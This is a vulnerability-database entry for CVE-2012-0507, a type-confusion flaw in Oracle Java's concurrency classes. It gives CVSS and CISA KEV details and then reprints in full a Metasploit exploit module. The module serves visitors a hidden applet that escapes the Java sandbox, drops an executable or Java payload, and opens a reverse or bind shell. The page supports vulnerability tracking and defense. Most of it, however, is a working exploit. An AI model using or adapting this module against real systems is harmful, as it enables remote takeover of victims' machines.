CVE-2012-0507

unknown KEV
Published 2022-03-03 ยท Modified 2022-03-03
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
2.5

Description

An incorrect type vulnerability exists in the Concurrency component of Oracle's Java Runtime Environment allows an attacker to remotely execute arbitrary code.

CISA KEV

Vendor
Oracle
Product
Java SE
Due date
2022-03-24

Predictions

Exploit likelihood
99%
Patch ETA
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Mitigations

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Exploits

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Exploit-DB

EDB-18679 remote multiple verified ruby ยท 5 KB
Metasploit ยท 2012-03-30

Java - AtomicReferenceArray Type Violation (Metasploit)

ruby exploit Source: Exploit-DB
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize( info = {} )
		super( update_info( info,
			'Name'           => 'Java AtomicReferenceArray Type Violation Vulnerability',
			'Description'    => %q{
					This module exploits a vulnerability due to the fact that
				AtomicReferenceArray uses the Unsafe class to store a reference in an
				array directly, which may violate type safety if not used properly.
				This allows a way to escape the JRE sandbox, and load additional classes
				in order to perform malicious operations.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'sinn3r',       # metasploit module
					'juan vazquez', # metasploit module
					'egypt'         # special assistance
				],
			'References'     =>
				[
					['CVE', '2012-0507'],
					['BID', '52161'],
					['URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3'],
					['URL', 'http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx'],
					['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-0507']
				],
			'Platform'       => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
			'Payload'        => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
			'Targets'        =>
				[
					[ 'Generic (Java Payload)',
						{
							'Platform' => ['java'],
							'Arch' => ARCH_JAVA,
						}
					],
					[ 'Windows x86 (Native Payload)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Mac OS X PPC (Native Payload)',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_PPC,
						}
					],
					[ 'Mac OS X x86 (Native Payload)',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Linux x86 (Native Payload)',
						{
							'Platform' => 'linux',
							'Arch' => ARCH_X86,
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 14 2012'
			))
	end


	def exploit
		# load the static jar file
		path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0507.jar" )
		fd = File.open( path, "rb" )
		@jar_data = fd.read(fd.stat.size)
		fd.close

		super
	end


	def on_request_uri( cli, request )
		data = ""
		host = ""
		port = ""
		peer = "#{cli.peerhost}:#{cli.peerport}"

		if not request.uri.match(/\.jar$/i)
			if not request.uri.match(/\/$/)
				send_redirect( cli, get_resource() + '/', '')
				return
			end

			print_status("#{peer} - Sending #{self.name}")

			payload = regenerate_payload( cli )
			if not payload
				print_error("#{peer} - Failed to generate the payload." )
				return
			end

			if target.name == 'Generic (Java Payload)'
				if datastore['LHOST']
					jar  = payload.encoded
					host = datastore['LHOST']
					port = datastore['LPORT']
					vprint_status("Java reverse shell to #{host}:#{port} from #{peer}" )
				else
					port = datastore['LPORT']
					datastore['RHOST'] = cli.peerhost
					vprint_status( "Java bind shell on #{cli.peerhost}:#{port}..." )
				end
				if jar
					print_status( "Generated jar to drop (#{jar.length} bytes)." )
					jar = Rex::Text.to_hex( jar, prefix="" )
				else
					print_error("#{peer} - Failed to generate the executable." )
					return
				end
			else

				# NOTE: The EXE mixin automagically handles detection of arch/platform
				data = generate_payload_exe

				if data
					print_status("#{peer} - Generated executable to drop (#{data.length} bytes)." )
					data = Rex::Text.to_hex( data, prefix="" )
				else
					print_error("#{peer} - Failed to generate the executable." )
					return
				end

			end

			send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
			return
		end

		print_status( "#{peer} - sending jar..." )
		send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )

		handler( cli )
	end

	def generate_html( data, jar, host, port )
		jar_name = rand_text_alpha(rand(6)+3) + ".jar"

		html  = "<html><head></head>"
		html += "<body>"
		html += "<applet archive=\"#{jar_name}\" code=\"msf.x.Exploit.class\" width=\"1\" height=\"1\">"
		html += "<param name=\"data\" value=\"#{data}\"/>" if data
		html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
		html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
		html += "<param name=\"lport\" value=\"#{port}\"/>" if port
		html += "</applet></body></html>"
		return html
	end

	def generate_jar()
		return @jar_data
	end

end

Metasploit modules

Java AtomicReferenceArray Type Violation Vulnerability
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